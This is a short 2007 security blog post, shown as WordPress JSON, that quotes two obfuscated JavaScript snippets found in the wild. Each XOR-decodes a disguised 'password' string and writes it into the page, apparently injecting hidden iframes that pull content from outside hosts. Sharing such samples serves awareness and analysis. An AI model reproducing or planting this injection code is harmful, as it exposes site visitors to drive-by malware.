{"id":241,"date":"2007-05-04T13:41:50","date_gmt":"2007-05-04T17:41:50","guid":{"rendered":"http:\/\/blogs.law.harvard.edu\/zeroday\/2007\/05\/04\/new-javascript-exploit-style\/"},"modified":"2007-05-05T03:40:08","modified_gmt":"2007-05-05T07:40:08","slug":"new-javascript-exploit-style","status":"publish","type":"post","link":"https:\/\/archive.blogs.harvard.edu\/zeroday\/2007\/05\/04\/new-javascript-exploit-style\/","title":{"rendered":"New javascript exploit style"},"content":{"rendered":"<p>Now with passwords?<\/p>\n<blockquote><p>\n&lt;script language=&#8221;JavaScript&#8221; type=&#8221;text\/javascript&#8221;&gt;<br \/>\n&lt;!&#8211;<br \/>\nvar<br \/>\npassword=&#8217;5%60o%7Bhdl%29z%7Bj4+a%7D<br \/>\n%7Dy3%26%26fzlq%27ah%7Bm%24jf%7Bl%24qqq<br \/>\n%27jfd%26%7Bhgm%27yay+%29%7E%60m<br \/>\n%7Da4899%2C%29al%60na%7D48%3B99%29DH<br \/>\n%5BN@G%5E@M%5DA49%29DH%5BN@GAL@NA<br \/>\n%5D49%29AZYHJL49%29_ZYHJL49%29O%5B<br \/>\nHDLKF%5BML%5B49%29ZJ%5BFEE4GF75%26<br \/>\n%60o%7Bhdl75a%7B%29%7E%60m%7Da4+%3E<br \/>\n%3F9+%29z%60sl4+8+75m%60%7F%29z%7D<br \/>\npel4+yfz%60%7D%60fg3%29hkzfe%7C%7Dl2%29<br \/>\nelo%7D3%29%2400000yq2%29%7Dfy3%29%24<br \/>\n00000yq2%29%7E%60m%7Da3%298yq2%29al<br \/>\n%60na%7D3%298yq2+7&#8242;;<\/p>\n<p>function get(key){var ID=&#8217;9&#8242;;var out=&#8221;&#8221;;var<br \/>\ni;for(i=0;i&lt;key.length;i++)<br \/>\n{out+=String.fromCharCode(ID^key.charCodeAt(i));}<br \/>\nreturn out;}document.write(get(unescape(password)));<br \/>\n\/\/&#8211;&gt;<br \/>\n&lt;\/script&gt; &nbsp;<\/p>\n<p>&lt;script language=&#8221;JavaScript&#8221; type=&#8221;text\/javascript&#8221;&gt;<br \/>\n&lt;!&#8211;<br \/>\nvar<br \/>\npassword=&#8217;5%60o%7Bhdl%29z%7Bj4+a%7D%7Dy3<br \/>\n%26%2618%27%3B0%27%3B%3D8<br \/>\n%27%3B%3A%3F%26hjj%3B%26%7Ef%7Bb988<br \/>\n%3B%26%60gmlq%27yay+%29%7E%60m<br \/>\n%7Da48%29al%60na%7D4875%26%60o%7Bhdl7&#8242;;<\/p>\n<p>function get(key){var ID=&#8217;9&#8242;;var out=&#8221;&#8221;;var<br \/>\ni;for(i=0;i&lt;key.length;i++){out+=String.fromCharCode(ID^key.charCodeAt(i));}<br \/>\nreturn out;}document.write(get(unescape(password)));<br \/>\n\/\/&#8211;&gt;<br \/>\n&lt;\/script&gt;\n<\/p><\/blockquote>\n","protected":false},"excerpt":{"rendered":"<p>Now with passwords? &lt;script language=&#8221;JavaScript&#8221; type=&#8221;text\/javascript&#8221;&gt; &lt;!&#8211; var password=&#8217;5%60o%7Bhdl%29z%7Bj4+a%7D %7Dy3%26%26fzlq%27ah%7Bm%24jf%7Bl%24qqq %27jfd%26%7Bhgm%27yay+%29%7E%60m %7Da4899%2C%29al%60na%7D48%3B99%29DH %5BN@G%5E@M%5DA49%29DH%5BN@GAL@NA %5D49%29AZYHJL49%29_ZYHJL49%29O%5B HDLKF%5BML%5B49%29ZJ%5BFEE4GF75%26 %60o%7Bhdl75a%7B%29%7E%60m%7Da4+%3E %3F9+%29z%60sl4+8+75m%60%7F%29z%7D pel4+yfz%60%7D%60fg3%29hkzfe%7C%7Dl2%29 elo%7D3%29%2400000yq2%29%7Dfy3%29%24 00000yq2%29%7E%60m%7Da3%298yq2%29al %60na%7D3%298yq2+7&#8242;; function get(key){var ID=&#8217;9&#8242;;var out=&#8221;&#8221;;var i;for(i=0;i&lt;key.length;i++) {out+=String.fromCharCode(ID^key.charCodeAt(i));} return out;}document.write(get(unescape(password))); \/\/&#8211;&gt; &lt;\/script&gt; &nbsp; &lt;script language=&#8221;JavaScript&#8221; type=&#8221;text\/javascript&#8221;&gt; &lt;!&#8211; var password=&#8217;5%60o%7Bhdl%29z%7Bj4+a%7D%7Dy3 %26%2618%27%3B0%27%3B%3D8 %27%3B%3A%3F%26hjj%3B%26%7Ef%7Bb988 %3B%26%60gmlq%27yay+%29%7E%60m %7Da48%29al%60na%7D4875%26%60o%7Bhdl7&#8242;; function get(key){var ID=&#8217;9&#8242;;var out=&#8221;&#8221;;var i;for(i=0;i&lt;key.length;i++){out+=String.fromCharCode(ID^key.charCodeAt(i));} return out;}document.write(get(unescape(password))); \/\/&#8211;&gt; &lt;\/script&gt;<\/p>\n","protected":false},"author":214,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[272,274],"tags":[],"class_list":["post-241","post","type-post","status-publish","format-standard","hentry","category-digital-warfare","category-interesting-tech"],"jetpack_featured_media_url":"","_links":{"self":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/241","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/users\/214"}],"replies":[{"embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/comments?post=241"}],"version-history":[{"count":0,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/posts\/241\/revisions"}],"wp:attachment":[{"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/media?parent=241"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/categories?post=241"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/archive.blogs.harvard.edu\/zeroday\/wp-json\/wp\/v2\/tags?post=241"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}